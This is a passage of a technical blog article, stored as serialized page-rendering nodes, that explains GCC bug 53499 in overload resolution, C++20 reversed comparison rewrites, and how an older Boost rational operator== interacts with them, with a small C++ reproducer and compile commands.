Solidity",{"type":26,"tag":35,"props":89838,"children":89839},{},[89840],{"type":32,"value":89841},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":26,"tag":18502,"props":89843,"children":89844},{},[],{"type":26,"tag":27,"props":89846,"children":89848},{"id":89847},"part-i-a-12-year-old-g-bug-in-overload-resolution",[89849],{"type":32,"value":89850},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":26,"tag":41,"props":89852,"children":89854},{"id":89853},"whats-overload-resolution",[89855],{"type":32,"value":89856},"What’s Overload Resolution?",{"type":26,"tag":35,"props":89858,"children":89859},{},[89860,89862,89868,89870,89876,89878,89883,89885,89890,89892,89898,89900,89905,89906,89912],{"type":32,"value":89861},"In C++, when you write an expression like ",{"type":26,"tag":53,"props":89863,"children":89865},{"className":89864},[],[89866],{"type":32,"value":89867},"a == b",{"type":32,"value":89869},", the compiler chooses among available ",{"type":26,"tag":53,"props":89871,"children":89873},{"className":89872},[],[89874],{"type":32,"value":89875},"operator==",{"type":32,"value":89877}," implementations by comparing their ",{"type":26,"tag":105,"props":89879,"children":89880},{},[89881],{"type":32,"value":89882},"match quality",{"type":32,"value":89884},". A ",{"type":26,"tag":105,"props":89886,"children":89887},{},[89888],{"type":32,"value":89889},"member function",{"type":32,"value":89891}," like ",{"type":26,"tag":53,"props":89893,"children":89895},{"className":89894},[],[89896],{"type":32,"value":89897},"a.operator==(b)",{"type":32,"value":89899}," usually has higher priority than a ",{"type":26,"tag":105,"props":89901,"children":89902},{},[89903],{"type":32,"value":89904},"non-member function",{"type":32,"value":89891},{"type":26,"tag":53,"props":89907,"children":89909},{"className":89908},[],[89910],{"type":32,"value":89911},"operator==(a, b)",{"type":32,"value":89913}," — unless the types differ too much or are ambiguous.",{"type":26,"tag":35,"props":89915,"children":89916},{},[89917],{"type":32,"value":89918},"That’s the rule. But G++ didn’t always follow it.",{"type":26,"tag":41,"props":89920,"children":89922},{"id":89921},"the-bug",[89923],{"type":32,"value":89924},"The Bug",{"type":26,"tag":35,"props":89926,"children":89927},{},[89928,89930,89937],{"type":32,"value":89929},"In 2012, a bug was filed: ",{"type":26,"tag":116,"props":89931,"children":89934},{"href":89932,"rel":89933},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[120],[89935],{"type":32,"value":89936},"GCC Bug 53499 – overload resolution favors non-member function",{"type":32,"value":89938},". The issue? In expressions where:",{"type":26,"tag":82,"props":89940,"children":89941},{},[89942,89962],{"type":26,"tag":86,"props":89943,"children":89944},{},[89945,89947,89953,89955,89960],{"type":32,"value":89946},"A class ",{"type":26,"tag":53,"props":89948,"children":89950},{"className":89949},[],[89951],{"type":32,"value":89952},"rational\u003CT>",{"type":32,"value":89954}," has a templated ",{"type":26,"tag":53,"props":89956,"children":89958},{"className":89957},[],[89959],{"type":32,"value":89875},{"type":32,"value":89961}," member function",{"type":26,"tag":86,"props":89963,"children":89964},{},[89965,89967,89973],{"type":32,"value":89966},"There's also a more generic free ",{"type":26,"tag":53,"props":89968,"children":89970},{"className":89969},[],[89971],{"type":32,"value":89972},"operator==(rational\u003CT>, U)",{"type":32,"value":37907},{"type":26,"tag":35,"props":89975,"children":89976},{},[89977],{"type":26,"tag":105,"props":89978,"children":89979},{},[89980],{"type":32,"value":89981},"Clang correctly chooses the member function.",{"type":26,"tag":35,"props":89983,"children":89984},{},[89985],{"type":26,"tag":105,"props":89986,"children":89987},{},[89988],{"type":32,"value":89989},"G++ (before v14) chooses the non-member function.",{"type":26,"tag":35,"props":89991,"children":89992},{},[89993,89995,90000,90002,90009],{"type":32,"value":89994},"Why? Because G++ mishandles ",{"type":26,"tag":105,"props":89996,"children":89997},{},[89998],{"type":32,"value":89999},"templated conversion + non-exact match",{"type":32,"value":90001},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":26,"tag":116,"props":90003,"children":90006},{"href":90004,"rel":90005},"https://cplusplus.github.io/CWG/issues/532.html",[120],[90007],{"type":32,"value":90008},"CWG532: Member/nonmember operator template partial ordering",{"type":32,"value":353},{"type":26,"tag":41,"props":90011,"children":90013},{"id":90012},"a-minimal-reproducer",[90014],{"type":32,"value":90015},"A Minimal Reproducer",{"type":26,"tag":35,"props":90017,"children":90018},{},[90019],{"type":32,"value":90020},"Let’s see this in action:",{"type":26,"tag":465,"props":90022,"children":90024},{"code":90023,"language":28814,"meta":7,"className":28812,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n template \u003Cclass T>\n bool operator==(const T& i) const {\n std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n return true;\n }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n return false;\n}\n\nint main() {\n rational\u003Cint> r;\n return r == 0;\n}\n",[90025],{"type":26,"tag":53,"props":90026,"children":90027},{"__ignoreMap":7},[90028,90041,90048,90073,90089,90097,90121,90166,90194,90209,90216,90223,90230,90266,90335,90360,90375,90382,90389,90405,90430,90454],{"type":26,"tag":475,"props":90029,"children":90030},{"class":477,"line":478},[90031,90036],{"type":26,"tag":475,"props":90032,"children":90033},{"style":586},[90034],{"type":32,"value":90035},"#include",{"type":26,"tag":475,"props":90037,"children":90038},{"style":629},[90039],{"type":32,"value":90040}," \u003Ciostream>\n",{"type":26,"tag":475,"props":90042,"children":90043},{"class":477,"line":516},[90044],{"type":26,"tag":475,"props":90045,"children":90046},{"emptyLinePlaceholder":18},[90047],{"type":32,"value":545},{"type":26,"tag":475,"props":90049,"children":90050},{"class":477,"line":539},[90051,90055,90059,90064,90069],{"type":26,"tag":475,"props":90052,"children":90053},{"style":482},[90054],{"type":32,"value":65909},{"type":26,"tag":475,"props":90056,"children":90057},{"style":499},[90058],{"type":32,"value":8430},{"type":26,"tag":475,"props":90060,"children":90061},{"style":482},[90062],{"type":32,"value":90063},"typename",{"type":26,"tag":475,"props":90065,"children":90066},{"style":505},[90067],{"type":32,"value":90068}," IntType",{"type":26,"tag":475,"props":90070,"children":90071},{"style":499},[90072],{"type":32,"value":5706},{"type":26,"tag":475,"props":90074,"children":90075},{"class":477,"line":548},[90076,90080,90085],{"type":26,"tag":475,"props":90077,"children":90078},{"style":482},[90079],{"type":32,"value":70102},{"type":26,"tag":475,"props":90081,"children":90082},{"style":505},[90083],{"type":32,"value":90084}," rational",{"type":26,"tag":475,"props":90086,"children":90087},{"style":499},[90088],{"type":32,"value":579},{"type":26,"tag":475,"props":90090,"children":90091},{"class":477,"line":558},[90092],{"type":26,"tag":475,"props":90093,"children":90094},{"style":482},[90095],{"type":32,"value":90096},"public:\n",{"type":26,"tag":475,"props":90098,"children":90099},{"class":477,"line":582},[90100,90105,90109,90113,90117],{"type":26,"tag":475,"props":90101,"children":90102},{"style":482},[90103],{"type":32,"value":90104}," template",{"type":26,"tag":475,"props":90106,"children":90107},{"style":499},[90108],{"type":32,"value":8430},{"type":26,"tag":475,"props":90110,"children":90111},{"style":482},[90112],{"type":32,"value":70102},{"type":26,"tag":475,"props":90114,"children":90115},{"style":505},[90116],{"type":32,"value":5632},{"type":26,"tag":475,"props":90118,"children":90119},{"style":499},[90120],{"type":32,"value":5706},{"type":26,"tag":475,"props":90122,"children":90123},{"class":477,"line":596},[90124,90128,90133,90138,90142,90146,90150,90154,90158,90162],{"type":26,"tag":475,"props":90125,"children":90126},{"style":482},[90127],{"type":32,"value":46166},{"type":26,"tag":475,"props":90129,"children":90130},{"style":482},[90131],{"type":32,"value":90132}," operator",{"type":26,"tag":475,"props":90134,"children":90135},{"style":499},[90136],{"type":32,"value":90137},"==(",{"type":26,"tag":475,"props":90139,"children":90140},{"style":482},[90141],{"type":32,"value":9363},{"type":26,"tag":475,"props":90143,"children":90144},{"style":505},[90145],{"type":32,"value":5632},{"type":26,"tag":475,"props":90147,"children":90148},{"style":482},[90149],{"type":32,"value":2816},{"type":26,"tag":475,"props":90151,"children":90152},{"style":2375},[90153],{"type":32,"value":3104},{"type":26,"tag":475,"props":90155,"children":90156},{"style":499},[90157],{"type":32,"value":2794},{"type":26,"tag":475,"props":90159,"children":90160},{"style":482},[90161],{"type":32,"value":9363},{"type":26,"tag":475,"props":90163,"children":90164},{"style":499},[90165],{"type":32,"value":579},{"type":26,"tag":475,"props":90167,"children":90168},{"class":477,"line":610},[90169,90174,90179,90184,90189],{"type":26,"tag":475,"props":90170,"children":90171},{"style":499},[90172],{"type":32,"value":90173}," std::cout ",{"type":26,"tag":475,"props":90175,"children":90176},{"style":714},[90177],{"type":32,"value":90178},"\u003C\u003C",{"type":26,"tag":475,"props":90180,"children":90181},{"style":629},[90182],{"type":32,"value":90183}," \"clang++ resolved member\"",{"type":26,"tag":475,"props":90185,"children":90186},{"style":714},[90187],{"type":32,"value":90188}," \u003C\u003C",{"type":26,"tag":475,"props":90190,"children":90191},{"style":499},[90192],{"type":32,"value":90193}," std::endl;\n",{"type":26,"tag":475,"props":90195,"children":90196},{"class":477,"line":650},[90197,90201,90205],{"type":26,"tag":475,"props":90198,"children":90199},{"style":586},[90200],{"type":32,"value":15449},{"type":26,"tag":475,"props":90202,"children":90203},{"style":482},[90204],{"type":32,"value":1214},{"type":26,"tag":475,"props":90206,"children":90207},{"style":499},[90208],{"type":32,"value":2729},{"type":26,"tag":475,"props":90210,"children":90211},{"class":477,"line":679},[90212],{"type":26,"tag":475,"props":90213,"children":90214},{"style":499},[90215],{"type":32,"value":851},{"type":26,"tag":475,"props":90217,"children":90218},{"class":477,"line":735},[90219],{"type":26,"tag":475,"props":90220,"children":90221},{"style":499},[90222],{"type":32,"value":16283},{"type":26,"tag":475,"props":90224,"children":90225},{"class":477,"line":744},[90226],{"type":26,"tag":475,"props":90227,"children":90228},{"emptyLinePlaceholder":18},[90229],{"type":32,"value":545},{"type":26,"tag":475,"props":90231,"children":90232},{"class":477,"line":753},[90233,90237,90241,90245,90250,90254,90258,90262],{"type":26,"tag":475,"props":90234,"children":90235},{"style":482},[90236],{"type":32,"value":65909},{"type":26,"tag":475,"props":90238,"children":90239},{"style":499},[90240],{"type":32,"value":8430},{"type":26,"tag":475,"props":90242,"children":90243},{"style":482},[90244],{"type":32,"value":70102},{"type":26,"tag":475,"props":90246,"children":90247},{"style":505},[90248],{"type":32,"value":90249}," Arg",{"type":26,"tag":475,"props":90251,"children":90252},{"style":499},[90253],{"type":32,"value":637},{"type":26,"tag":475,"props":90255,"children":90256},{"style":482},[90257],{"type":32,"value":70102},{"type":26,"tag":475,"props":90259,"children":90260},{"style":505},[90261],{"type":32,"value":90068},{"type":26,"tag":475,"props":90263,"children":90264},{"style":499},[90265],{"type":32,"value":5706},{"type":26,"tag":475,"props":90267,"children":90268},{"class":477,"line":761},[90269,90273,90277,90281,90285,90289,90293,90298,90302,90306,90310,90314,90318,90322,90326,90331],{"type":26,"tag":475,"props":90270,"children":90271},{"style":482},[90272],{"type":32,"value":29388},{"type":26,"tag":475,"props":90274,"children":90275},{"style":482},[90276],{"type":32,"value":90132},{"type":26,"tag":475,"props":90278,"children":90279},{"style":499},[90280],{"type":32,"value":90137},{"type":26,"tag":475,"props":90282,"children":90283},{"style":482},[90284],{"type":32,"value":9363},{"type":26,"tag":475,"props":90286,"children":90287},{"style":505},[90288],{"type":32,"value":90084},{"type":26,"tag":475,"props":90290,"children":90291},{"style":499},[90292],{"type":32,"value":5519},{"type":26,"tag":475,"props":90294,"children":90295},{"style":505},[90296],{"type":32,"value":90297},"IntType",{"type":26,"tag":475,"props":90299,"children":90300},{"style":499},[90301],{"type":32,"value":10170},{"type":26,"tag":475,"props":90303,"children":90304},{"style":482},[90305],{"type":32,"value":2816},{"type":26,"tag":475,"props":90307,"children":90308},{"style":2375},[90309],{"type":32,"value":89456},{"type":26,"tag":475,"props":90311,"children":90312},{"style":499},[90313],{"type":32,"value":637},{"type":26,"tag":475,"props":90315,"children":90316},{"style":482},[90317],{"type":32,"value":9363},{"type":26,"tag":475,"props":90319,"children":90320},{"style":505},[90321],{"type":32,"value":90249},{"type":26,"tag":475,"props":90323,"children":90324},{"style":482},[90325],{"type":32,"value":2816},{"type":26,"tag":475,"props":90327,"children":90328},{"style":2375},[90329],{"type":32,"value":90330}," b",{"type":26,"tag":475,"props":90332,"children":90333},{"style":499},[90334],{"type":32,"value":676},{"type":26,"tag":475,"props":90336,"children":90337},{"class":477,"line":770},[90338,90343,90347,90352,90356],{"type":26,"tag":475,"props":90339,"children":90340},{"style":499},[90341],{"type":32,"value":90342}," std::cout ",{"type":26,"tag":475,"props":90344,"children":90345},{"style":714},[90346],{"type":32,"value":90178},{"type":26,"tag":475,"props":90348,"children":90349},{"style":629},[90350],{"type":32,"value":90351}," \"g++ \u003C14 resolved non-member\"",{"type":26,"tag":475,"props":90353,"children":90354},{"style":714},[90355],{"type":32,"value":90188},{"type":26,"tag":475,"props":90357,"children":90358},{"style":499},[90359],{"type":32,"value":90193},{"type":26,"tag":475,"props":90361,"children":90362},{"class":477,"line":794},[90363,90367,90371],{"type":26,"tag":475,"props":90364,"children":90365},{"style":586},[90366],{"type":32,"value":16695},{"type":26,"tag":475,"props":90368,"children":90369},{"style":482},[90370],{"type":32,"value":8769},{"type":26,"tag":475,"props":90372,"children":90373},{"style":499},[90374],{"type":32,"value":2729},{"type":26,"tag":475,"props":90376,"children":90377},{"class":477,"line":831},[90378],{"type":26,"tag":475,"props":90379,"children":90380},{"style":499},[90381],{"type":32,"value":3607},{"type":26,"tag":475,"props":90383,"children":90384},{"class":477,"line":845},[90385],{"type":26,"tag":475,"props":90386,"children":90387},{"emptyLinePlaceholder":18},[90388],{"type":32,"value":545},{"type":26,"tag":475,"props":90390,"children":90391},{"class":477,"line":854},[90392,90396,90401],{"type":26,"tag":475,"props":90393,"children":90394},{"style":482},[90395],{"type":32,"value":18755},{"type":26,"tag":475,"props":90397,"children":90398},{"style":493},[90399],{"type":32,"value":90400}," main",{"type":26,"tag":475,"props":90402,"children":90403},{"style":499},[90404],{"type":32,"value":882},{"type":26,"tag":475,"props":90406,"children":90407},{"class":477,"line":862},[90408,90413,90417,90421,90425],{"type":26,"tag":475,"props":90409,"children":90410},{"style":499},[90411],{"type":32,"value":90412}," rational",{"type":26,"tag":475,"props":90414,"children":90415},{"style":714},[90416],{"type":32,"value":5519},{"type":26,"tag":475,"props":90418,"children":90419},{"style":482},[90420],{"type":32,"value":18755},{"type":26,"tag":475,"props":90422,"children":90423},{"style":714},[90424],{"type":32,"value":10170},{"type":26,"tag":475,"props":90426,"children":90427},{"style":499},[90428],{"type":32,"value":90429}," r;\n",{"type":26,"tag":475,"props":90431,"children":90432},{"class":477,"line":885},[90433,90437,90442,90446,90450],{"type":26,"tag":475,"props":90434,"children":90435},{"style":586},[90436],{"type":32,"value":16695},{"type":26,"tag":475,"props":90438,"children":90439},{"style":499},[90440],{"type":32,"value":90441}," r ",{"type":26,"tag":475,"props":90443,"children":90444},{"style":714},[90445],{"type":32,"value":8287},{"type":26,"tag":475,"props":90447,"children":90448},{"style":903},[90449],{"type":32,"value":2752},{"type":26,"tag":475,"props":90451,"children":90452},{"style":499},[90453],{"type":32,"value":2729},{"type":26,"tag":475,"props":90455,"children":90456},{"class":477,"line":913},[90457],{"type":26,"tag":475,"props":90458,"children":90459},{"style":499},[90460],{"type":32,"value":3607},{"type":26,"tag":82,"props":90462,"children":90463},{},[90464],{"type":26,"tag":86,"props":90465,"children":90466},{},[90467],{"type":32,"value":90468},"Compile with g++\u003C14:",{"type":26,"tag":465,"props":90470,"children":90472},{"code":90471,"language":3954,"meta":7,"className":3955,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[90473],{"type":26,"tag":53,"props":90474,"children":90475},{"__ignoreMap":7},[90476],{"type":26,"tag":475,"props":90477,"children":90478},{"class":477,"line":478},[90479,90484,90489,90494,90499,90503,90508],{"type":26,"tag":475,"props":90480,"children":90481},{"style":493},[90482],{"type":32,"value":90483},"g++",{"type":26,"tag":475,"props":90485,"children":90486},{"style":629},[90487],{"type":32,"value":90488}," -std=c++17",{"type":26,"tag":475,"props":90490,"children":90491},{"style":629},[90492],{"type":32,"value":90493}," main.cpp",{"type":26,"tag":475,"props":90495,"children":90496},{"style":629},[90497],{"type":32,"value":90498}," -o",{"type":26,"tag":475,"props":90500,"children":90501},{"style":629},[90502],{"type":32,"value":30381},{"type":26,"tag":475,"props":90504,"children":90505},{"style":499},[90506],{"type":32,"value":90507}," && ",{"type":26,"tag":475,"props":90509,"children":90510},{"style":493},[90511],{"type":32,"value":90512},"./test\n",{"type":26,"tag":35,"props":90514,"children":90515},{},[90516],{"type":32,"value":90517},"Output (on g++ 11.4):",{"type":26,"tag":465,"props":90519,"children":90521},{"code":90520},"g++ \u003C14 resolved non-member\n",[90522],{"type":26,"tag":53,"props":90523,"children":90524},{"__ignoreMap":7},[90525],{"type":32,"value":90520},{"type":26,"tag":82,"props":90527,"children":90528},{},[90529],{"type":26,"tag":86,"props":90530,"children":90531},{},[90532],{"type":32,"value":90533},"Compile with clang++:",{"type":26,"tag":465,"props":90535,"children":90537},{"code":90536,"language":3954,"meta":7,"className":3955,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[90538],{"type":26,"tag":53,"props":90539,"children":90540},{"__ignoreMap":7},[90541],{"type":26,"tag":475,"props":90542,"children":90543},{"class":477,"line":478},[90544,90549,90553,90557,90561,90565,90569],{"type":26,"tag":475,"props":90545,"children":90546},{"style":493},[90547],{"type":32,"value":90548},"clang++",{"type":26,"tag":475,"props":90550,"children":90551},{"style":629},[90552],{"type":32,"value":90488},{"type":26,"tag":475,"props":90554,"children":90555},{"style":629},[90556],{"type":32,"value":90493},{"type":26,"tag":475,"props":90558,"children":90559},{"style":629},[90560],{"type":32,"value":90498},{"type":26,"tag":475,"props":90562,"children":90563},{"style":629},[90564],{"type":32,"value":30381},{"type":26,"tag":475,"props":90566,"children":90567},{"style":499},[90568],{"type":32,"value":90507},{"type":26,"tag":475,"props":90570,"children":90571},{"style":493},[90572],{"type":32,"value":90512},{"type":26,"tag":35,"props":90574,"children":90575},{},[90576],{"type":32,"value":90577},"Output:",{"type":26,"tag":465,"props":90579,"children":90581},{"code":90580},"clang++ resolved member\n",[90582],{"type":26,"tag":53,"props":90583,"children":90584},{"__ignoreMap":7},[90585],{"type":32,"value":90580},{"type":26,"tag":35,"props":90587,"children":90588},{},[90589],{"type":32,"value":90590},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":26,"tag":18502,"props":90592,"children":90593},{},[],{"type":26,"tag":27,"props":90595,"children":90597},{"id":90596},"part-ii-c20s-symmetric-comparison-feature",[90598],{"type":32,"value":90599},"Part II: C++20’s Symmetric Comparison Feature",{"type":26,"tag":41,"props":90601,"children":90603},{"id":90602},"what-changed-in-c20",[90604],{"type":32,"value":90605},"What Changed in C++20?",{"type":26,"tag":35,"props":90607,"children":90608},{},[90609,90611,90624,90625,90630],{"type":32,"value":90610},"C++20 introduced the ",{"type":26,"tag":116,"props":90612,"children":90615},{"href":90613,"rel":90614},"https://en.cppreference.com/w/cpp/language/operator_comparison",[120],[90616,90618],{"type":32,"value":90617},"spaceship operator ",{"type":26,"tag":53,"props":90619,"children":90621},{"className":90620},[],[90622],{"type":32,"value":90623},"\u003C=>",{"type":32,"value":209},{"type":26,"tag":105,"props":90626,"children":90627},{},[90628],{"type":32,"value":90629},"defaulted comparison rewrites",{"type":32,"value":353},{"type":26,"tag":35,"props":90632,"children":90633},{},[90634,90636,90641],{"type":32,"value":90635},"When you define a two-argument ",{"type":26,"tag":53,"props":90637,"children":90639},{"className":90638},[],[90640],{"type":32,"value":89875},{"type":32,"value":90642},", C++20 may implicitly define the \"reversed\" version:",{"type":26,"tag":82,"props":90644,"children":90645},{},[90646,90657],{"type":26,"tag":86,"props":90647,"children":90648},{},[90649,90651],{"type":32,"value":90650},"If you define: ",{"type":26,"tag":53,"props":90652,"children":90654},{"className":90653},[],[90655],{"type":32,"value":90656},"bool operator==(T1, T2);",{"type":26,"tag":86,"props":90658,"children":90659},{},[90660,90662,90668],{"type":32,"value":90661},"Then ",{"type":26,"tag":53,"props":90663,"children":90665},{"className":90664},[],[90666],{"type":32,"value":90667},"T2 == T1",{"type":32,"value":90669}," may call the same function by reversing the arguments.",{"type":26,"tag":35,"props":90671,"children":90672},{},[90673,90675,90680,90681,90686,90688,90694,90696,90701],{"type":32,"value":90674},"This rewrite is ",{"type":26,"tag":105,"props":90676,"children":90677},{},[90678],{"type":32,"value":90679},"recursive",{"type":32,"value":15037},{"type":26,"tag":53,"props":90682,"children":90684},{"className":90683},[],[90685],{"type":32,"value":89867},{"type":32,"value":90687}," becomes ",{"type":26,"tag":53,"props":90689,"children":90691},{"className":90690},[],[90692],{"type":32,"value":90693},"b == a",{"type":32,"value":90695},", which becomes ",{"type":26,"tag":53,"props":90697,"children":90699},{"className":90698},[],[90700],{"type":32,"value":89867},{"type":32,"value":90702}," again, and so on — if not handled carefully.",{"type":26,"tag":35,"props":90704,"children":90705},{},[90706],{"type":32,"value":90707},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":26,"tag":18502,"props":90709,"children":90710},{},[],{"type":26,"tag":27,"props":90712,"children":90714},{"id":90713},"part-iii-the-boost-trapdoor",[90715],{"type":32,"value":90716},"Part III: The Boost Trapdoor",{"type":26,"tag":35,"props":90718,"children":90719},{},[90720,90722,90728,90730,90735],{"type":32,"value":90721},"The old Boost ",{"type":26,"tag":53,"props":90723,"children":90725},{"className":90724},[],[90726],{"type":32,"value":90727},"rational",{"type":32,"value":90729}," class (prior to v1.75) defined both member function and non-member function of ",{"type":26,"tag":53,"props":90731,"children":90733},{"className":90732},[],[90734],{"type":32,"value":89875},{"type":32,"value":179},{"type":26,"tag":465,"props":90737,"children":90739},{"code":90738,"language":28814,"meta":7,"className":28812,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n ...\npublic:\n ...\n \n template \u003Cclass T>\n BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n {\n return ((den == IntType(1)) && (num == i));\n }\n ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n return a == b; \n}\n",[90740],{"type":26,"tag":53,"props":90741,"children":90742},{"__ignoreMap":7},[90743,90778,90801,90813,90820,90827,90834,90841,90848,90871,90959,90966,91017,91024,91031,91038,91045,91080,91088,91116,91155,91220,91227,91247],{"type":26,"tag":475,"props":90744,"children":90745},{"class":477,"line":478},[90746,90750,90754,90758,90762,90766,90770,90774],{"type":26,"tag":475,"props":90747,"children":90748},{"style":482},[90749],{"type":32,"value":65909},{"type":26,"tag":475,"props":90751,"children":90752},{"style":499},[90753],{"type":32,"value":8430},{"type":26,"tag":475,"props":90755,"children":90756},{"style":482},[90757],{"type":32,"value":70102},{"type":26,"tag":475,"props":90759,"children":90760},{"style":505},[90761],{"type":32,"value":90249},{"type":26,"tag":475,"props":90763,"children":90764},{"style":499},[90765],{"type":32,"value":637},{"type":26,"tag":475,"props":90767,"children":90768},{"style":482},[90769],{"type":32,"value":70102},{"type":26,"tag":475,"props":90771,"children":90772},{"style":505},[90773],{"type":32,"value":90068},{"type":26,"tag":475,"props":90775,"children":90776},{"style":499},[90777],{"type":32,"value":5706},{"type":26,"tag":475,"props":90779,"children":90780},{"class":477,"line":516},[90781,90785,90789,90793,90797],{"type":26,"tag":475,"props":90782,"children":90783},{"style":482},[90784],{"type":32,"value":65909},{"type":26,"tag":475,"props":90786,"children":90787},{"style":499},[90788],{"type":32,"value":8430},{"type":26,"tag":475,"props":90790,"children":90791},{"style":482},[90792],{"type":32,"value":90063},{"type":26,"tag":475,"props":90794,"children":90795},{"style":505},[90796],{"type":32,"value":90068},{"type":26,"tag":475,"props":90798,"children":90799},{"style":499},[90800],{"type":32,"value":5706},{"type":26,"tag":475,"props":90802,"children":90803},{"class":477,"line":539},[90804,90808],{"type":26,"tag":475,"props":90805,"children":90806},{"style":482},[90807],{"type":32,"value":70102},{"type":26,"tag":475,"props":90809,"children":90810},{"style":505},[90811],{"type":32,"value":90812}," rational\n",{"type":26,"tag":475,"props":90814,"children":90815},{"class":477,"line":548},[90816],{"type":26,"tag":475,"props":90817,"children":90818},{"style":499},[90819],{"type":32,"value":10589},{"type":26,"tag":475,"props":90821,"children":90822},{"class":477,"line":558},[90823],{"type":26,"tag":475,"props":90824,"children":90825},{"style":499},[90826],{"type":32,"value":20047},{"type":26,"tag":475,"props":90828,"children":90829},{"class":477,"line":582},[90830],{"type":26,"tag":475,"props":90831,"children":90832},{"style":482},[90833],{"type":32,"value":90096},{"type":26,"tag":475,"props":90835,"children":90836},{"class":477,"line":596},[90837],{"type":26,"tag":475,"props":90838,"children":90839},{"style":499},[90840],{"type":32,"value":20047},{"type":26,"tag":475,"props":90842,"children":90843},{"class":477,"line":610},[90844],{"type":26,"tag":475,"props":90845,"children":90846},{"style":499},[90847],{"type":32,"value":61478},{"type":26,"tag":475,"props":90849,"children":90850},{"class":477,"line":650},[90851,90855,90859,90863,90867],{"type":26,"tag":475,"props":90852,"children":90853},{"style":482},[90854],{"type":32,"value":90104},{"type":26,"tag":475,"props":90856,"children":90857},{"style":499},[90858],{"type":32,"value":8430},{"type":26,"tag":475,"props":90860,"children":90861},{"style":482},[90862],{"type":32,"value":70102},{"type":26,"tag":475,"props":90864,"children":90865},{"style":505},[90866],{"type":32,"value":5632},{"type":26,"tag":475,"props":90868,"children":90869},{"style":499},[90870],{"type":32,"value":5706},{"type":26,"tag":475,"props":90872,"children":90873},{"class":477,"line":679},[90874,90879,90883,90888,90892,90896,90900,90905,90909,90913,90917,90921,90925,90929,90934,90938,90942,90946,90950,90954],{"type":26,"tag":475,"props":90875,"children":90876},{"style":499},[90877],{"type":32,"value":90878}," BOOST_CONSTEXPR ",{"type":26,"tag":475,"props":90880,"children":90881},{"style":482},[90882],{"type":32,"value":90063},{"type":26,"tag":475,"props":90884,"children":90885},{"style":499},[90886],{"type":32,"value":90887}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":26,"tag":475,"props":90889,"children":90890},{"style":505},[90891],{"type":32,"value":5701},{"type":26,"tag":475,"props":90893,"children":90894},{"style":499},[90895],{"type":32,"value":637},{"type":26,"tag":475,"props":90897,"children":90898},{"style":505},[90899],{"type":32,"value":90297},{"type":26,"tag":475,"props":90901,"children":90902},{"style":499},[90903],{"type":32,"value":90904},">::",{"type":26,"tag":475,"props":90906,"children":90907},{"style":505},[90908],{"type":32,"value":38844},{"type":26,"tag":475,"props":90910,"children":90911},{"style":499},[90912],{"type":32,"value":637},{"type":26,"tag":475,"props":90914,"children":90915},{"style":482},[90916],{"type":32,"value":29388},{"type":26,"tag":475,"props":90918,"children":90919},{"style":499},[90920],{"type":32,"value":90904},{"type":26,"tag":475,"props":90922,"children":90923},{"style":505},[90924],{"type":32,"value":32455},{"type":26,"tag":475,"props":90926,"children":90927},{"style":482},[90928],{"type":32,"value":90132},{"type":26,"tag":475,"props":90930,"children":90931},{"style":499},[90932],{"type":32,"value":90933},"== (",{"type":26,"tag":475,"props":90935,"children":90936},{"style":482},[90937],{"type":32,"value":9363},{"type":26,"tag":475,"props":90939,"children":90940},{"style":505},[90941],{"type":32,"value":5632},{"type":26,"tag":475,"props":90943,"children":90944},{"style":482},[90945],{"type":32,"value":2816},{"type":26,"tag":475,"props":90947,"children":90948},{"style":2375},[90949],{"type":32,"value":3104},{"type":26,"tag":475,"props":90951,"children":90952},{"style":499},[90953],{"type":32,"value":2794},{"type":26,"tag":475,"props":90955,"children":90956},{"style":482},[90957],{"type":32,"value":90958},"const\n",{"type":26,"tag":475,"props":90960,"children":90961},{"class":477,"line":735},[90962],{"type":26,"tag":475,"props":90963,"children":90964},{"style":499},[90965],{"type":32,"value":28889},{"type":26,"tag":475,"props":90967,"children":90968},{"class":477,"line":744},[90969,90974,90979,90983,90987,90991,90995,90999,91003,91008,91012],{"type":26,"tag":475,"props":90970,"children":90971},{"style":586},[90972],{"type":32,"value":90973}," return",{"type":26,"tag":475,"props":90975,"children":90976},{"style":499},[90977],{"type":32,"value":90978}," ((den ",{"type":26,"tag":475,"props":90980,"children":90981},{"style":714},[90982],{"type":32,"value":8287},{"type":26,"tag":475,"props":90984,"children":90985},{"style":493},[90986],{"type":32,"value":90068},{"type":26,"tag":475,"props":90988,"children":90989},{"style":499},[90990],{"type":32,"value":626},{"type":26,"tag":475,"props":90992,"children":90993},{"style":903},[90994],{"type":32,"value":3722},{"type":26,"tag":475,"props":90996,"children":90997},{"style":499},[90998],{"type":32,"value":8548},{"type":26,"tag":475,"props":91000,"children":91001},{"style":714},[91002],{"type":32,"value":72824},{"type":26,"tag":475,"props":91004,"children":91005},{"style":499},[91006],{"type":32,"value":91007}," (num ",{"type":26,"tag":475,"props":91009,"children":91010},{"style":714},[91011],{"type":32,"value":8287},{"type":26,"tag":475,"props":91013,"children":91014},{"style":499},[91015],{"type":32,"value":91016}," 